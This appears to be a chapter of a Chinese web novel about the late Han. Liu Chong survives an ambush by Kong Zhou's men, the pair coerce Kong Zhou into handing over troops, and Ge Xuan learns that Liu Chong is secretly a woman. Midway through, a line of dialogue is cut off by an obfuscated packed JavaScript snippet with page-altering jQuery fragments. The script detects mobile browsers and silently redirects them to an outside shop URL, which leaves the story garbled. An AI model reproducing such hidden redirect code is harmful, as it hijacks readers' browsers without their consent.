刘宠带了一支三千精兵先行出发摸清敌人的底细。他们沿着辕辙大谷一带的山脉一路走,行至颍川郡时,士兵早已疲惫。
于是刘宠想找豫州刺史孔伷,暂借他们的营地用以歇脚,没想到却在路上遭到了埋伏。
日光像一支支箭,直穿树林,把绿叶撕成一片片掉落在地上的碎影,连同被撕碎的还有写着“刘”的旗帜。
“大家往山脚下躲避,快!”
刘宠向四处逃散的士兵大喊,可是军心早被打散,无人在意他这一声无力的呐喊。
他一边用剑阻挡向他冲来的利箭,一边寻找树林中为首发号施令的方向。就在他终于找到发号施令的位置时,几支利箭也同时瞄准了这个还在殊死搏斗的活靶子。
“唔!!!”
刘宠像刺猬一样前前后后被射中数箭!
“刘宠!快躲起来!!”
刘宠不知道自己是不是出现了濒死的幻觉,他看见一个很像那个倨傲无礼、唯利是图、鼠目寸光、出言不逊……的江湖术士!
葛玄好像也化身了箭一样,持刀冲入箭海,飞奔而来挡在了刘宠面前:“不要命了!还不快躲起来!”
刘宠愣神了一瞬,随后一脸得意:“葛玄!配合我,我找到他们了!”
他说罢,一咬牙,直接把身上的箭给折断了,往另一个方向冲去。
“喂!!!”
真是疯了!这时候居然还有力气要找敌人拼命!
葛玄眼神变得狠戾,但来都来了,只好配合着护住刘宠。她和刘宠一前一后冲进树林,有了树木的遮挡,箭无法发挥再它的作用。
持弓的士兵还没来得及拿起剑,就被刘宠直接封喉,成为树林的养料。
刘宠像丛林中的黑豹,直击藏在树林中带头的将领。将领被打的像蠕虫一般在地上蠕动,毫无还手之力。
就在刘宠扬剑对准将领的脖子,准备将其一击毙命时,将领大哭起来,不停求饶道:“别杀我!自己人!自己人!!我是豫州刺史孔伷部下的,奉命在此看守!”
“呵,自己人?我行军队伍这么大个‘刘’字!你看不见,现在剑抵在你脖子上,你倒看见了?”
“我……我以为是敌军!大汉南北军也是刘字,也是董卓的兵!”
黑豹不屑地看着眼前这条毛虫,毫不犹豫挥剑将他的头颅砍了下来。
刘宠提起这人的头,转身就要走:“走!我们去找孔伷算账!”
“你还是考虑考虑自己吧,我怕你没命算这笔账。”
人在战斗时,神经兴奋会释放内啡肽,身上的疼痛也会被扼杀。但当他们反应过来时,疼痛就会加倍,把人扼杀。
葛玄话音刚落,刘宠手里的头颅滚落一旁,他顿感一阵天旋地转,眼前的人也倒转了过来,一瞬就没了意识。
刘宠再醒来时,发现自己身处一家驿馆,满屋子的血腥味,眼前还有一个人正摆弄着不断散发苦腥味的瓶瓶罐罐。
看清这人是谁时,刘宠脑海里也浮现之前发生的事。他撑起身,声音如药罐里散出的苦药味般飘渺:“你怎么来了?”
“没办法啊,好不容易找到个符合条件的人,没法做到眼睁睁看着他去送死。”
说到最后两个字时葛玄加重了音量,刘宠心里一瞬就涌出愧疚之意。虽然他还是不信谶语那些鬼话,但好歹……
他瞄了眼葛玄,葛玄身上也有几处伤口,却没给自己包扎。她也还是依旧一身冷意,既无得意之情,也无嫌弃之意,只是在弄着药。
这人至少是为自己着想。
刘宠道:“……多谢。”
葛玄挑了挑眉,把药品拿了过来。
刘宠却如临大敌,攥紧了自己的衣服:“我自己来就行,这次是我连累你了,你先到一旁休息吧。”
葛玄没跟他客气,把东西放在桌上就径直走出屋外。估计是怕自己趁他病要他命吧。
不过她还是在屋外一边候着,一边处理伤口。刘宠要是有什么好歹,自己又要重新去找天命人了。
“葛玄。”
屋内传来一声叫唤,葛玄停下了手里的动作。
“于我有恩的人我会加倍奉还,于我有仇的人我睚眦必报……我想找孔伷算账。”
这是商量的语气,看来吃一堑长一智,他还不算没救。葛玄微微扬起嘴角,继续缠绕手臂的绷带:“好啊。”
屋内孔伷的谈论声像连绸带一般,连续不断地绕在每个人耳边。虽然知道这人惯于吹嘘,但葛玄躲在暗处听了还是觉得耳朵疼。
院中没有侍卫看守,两道黑影很轻松的就进了屋。
“哈哈哈!你看我联军旌旗蔽日,粮草如山,前有猛将冲锋,后有谋臣献策,纵使董贼有吕布之勇,又岂能抵挡这泰山压顶之势?”
屋内每个角落都被孔伷的声音占据,刘宠在柱子后偷瞄到这人吹嘘的模样只觉得油腻。
孔伷又开始了发言:“董卓逆贼不过是西凉一莽夫,麾下皆乌合之众,此役定能一战功成,直捣洛阳,匡扶汉室!”
葛玄已经溜到孔伷身后的屏风处,她和刘宠对视一眼,随后猛地把屏风踢飞,拿刀跳到孔伷面前。
他们要来个瓮中捉鳖!
屋内众人吓得瞬间如火花一般在地上蹦跳,想逃?前门已经被同样拿着剑的刘宠堵住了。
“侍卫!来人!有刺客!”孔伷抄起案板就扔向葛玄。
葛玄轻轻一转身就躲开了,直接一脚踩住了在地上爬行的孔伷,揪住他的发髻说道:“刺客?你看清楚我是谁了吗?”
“你……你谁啊!?”孔伷瞪的眼珠都快转到眼眶后面了,但依旧看不清模样。
“陈王刘宠啊!”葛玄猛地把他头往下一放,孔伷的脑袋磕到地面发出一声震响。
孔伷艰难地转过身,面目狰狞:“你是罪……陈王!?”
葛玄蹲下身,手中的刀尖离孔伷更近了一分:“本王此行本来是要到辕辙关偷袭董军,如今倒好,自己人窝里斗,传出去,这将会大大折损诸侯军的威武!你担当得起吗!”
“这事是那个将领的错!是他误把你们认为董军!而且你们也已经把他给杀了,这是就当扯平了!”
门口另一处的人喊道:“误认?扯平?我们早就派了小兵前来报信,怎么还会误认?他跟我们扯平了,你还没有,没你命令他敢放箭?”
孔伷哆哆嗦嗦的还想说什么,但感觉到脖子上了凉意更近了,连话也说不出来了。
葛玄靠近他一分,语气轻的像来索命的恶鬼:“你也真是的,教训一番即可,何必下手这么重,都要人命了。”
她侧眼看了眼刘宠,扬起嘴角,站起身大喊道:“你是不是对陈王有什么不满啊?觉得她一个弑君的罪臣也敢加入你们诸侯联军?如果你觉得她杀了少帝,那不如我送你下去,你亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720066|208600||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自问问少帝?”
孔伷不停哆嗦着,话像断断续续的柳絮从他嘴中飘出:“不……不敢……不如……不如这样,你们损失了多少兵,我……我如数,不!双倍奉还!”
葛玄用刀拍了拍他的脸,看着他这副像见阎王的模样非常满意,随后对着屋内众人喊道:“豫州刺史孔伷,误伤带兵出战的陈王刘宠,他愿意三倍奉还折损的兵马,也就是……”
刘宠接收到葛玄的眼神,在屋另一头喊道:“一万兵马!”
他把剑在众人面前划过一圈,继续说道:“请各位做个见证,如果他孔伷出尔反尔,那么夜深人静,刀剑无眼,小心为上啊!”
纵使他孔伷有嘘枯吹生的本事,也抵不过刀剑轻轻一刺,他第二日就把一万兵马交给了刘宠。
“哈哈哈没想到出一趟门,兵马超级加倍啊哈哈哈!”
刘宠回到自己帐中,还带回一万兵马,不知多得意。
他又看向葛玄:“虽然没偷袭成,但也算有意外收获了。真不知道如果真去偷袭了,会不会像你所说的一样,必败呢?”
“那你可以一试。”
被埋伏之际,葛玄冒着生命救了自己,而且她也并非无能之辈,目前看起来身手了得,有勇,也有谋,自己正是用人之际。
刘宠对葛玄笑道:“好啦!总之我以后会小心为上的!”
“嘶!”他晃了晃手里的兵马符,刚要放回袖中,背部传来一阵如火烧般的撕裂感,血水瞬间浸透内层衣料。
刘宠脸上的笑换为了苦笑:“看来做人还是不能太得意忘形。你还有很多事要忙吧,你去忙吧,我也正好要换药了。”
一个大男人换药有什么好遮遮掩掩的。葛玄静静看了他一会,慢慢走了出去。
没一会,帐内就传来药瓶子像玉珠散落一地般清脆悦耳的声音。
葛玄直接闯了进去,刘宠正给自己后背上药,背部的神经贯穿到指尖,一疼,手肘一抖,把桌上的药一扫而光。
除了里面人不知是疼得还是吓得煞白的脸,她还眼尖地看到了其他不该看到的东西——刘宠背上缠着的白布。
葛玄:……
刘宠微微一怔,迅速把衣服扯起,抽出剑直指对面人,两人好不容易建立的、那微乎其微的信任一瞬就消失了。
“哈哈哈!”葛玄突然大笑起来,刘宠的一系列举动让她心中出现的惊愕还带有一丝疑虑全部褪去。
在汉代,女子只有在男性继承人因战死且无子时才能继承爵位。刘宠就是在黄巾军一战身死后受救,如果刘宠真的战死了,女性继承人何必遮遮掩掩?
就算是真刘宠,受张天师救治年轻了三十岁,总不至于连性别都变了吧?看来这之间的故事就是违世之举了!
“精彩!太精彩了!”
刘宠觉得葛玄的笑声格外刺耳,像有根木刺入皮肤,但你拔不出来,让人很不爽。
她要么是在讥笑,嘲讽自己是个女子,要么就是狞笑,意图对自己不轨。
在那条阴森的暗道初见时,她就觉得葛玄虽长相秀气,但总给人不可言说的诡异,像毒蛇化炼成了人形,如今再看,她果然不像人!
刘宠心里瞬间生起一股火,火焰燃烧之热让她全身血液都沸腾起来。
“笑个屁!”她眼神狠戾如杀戮中的黑豹,透露出满满的血腥气。
既然识别了她的身份,那就别想活了!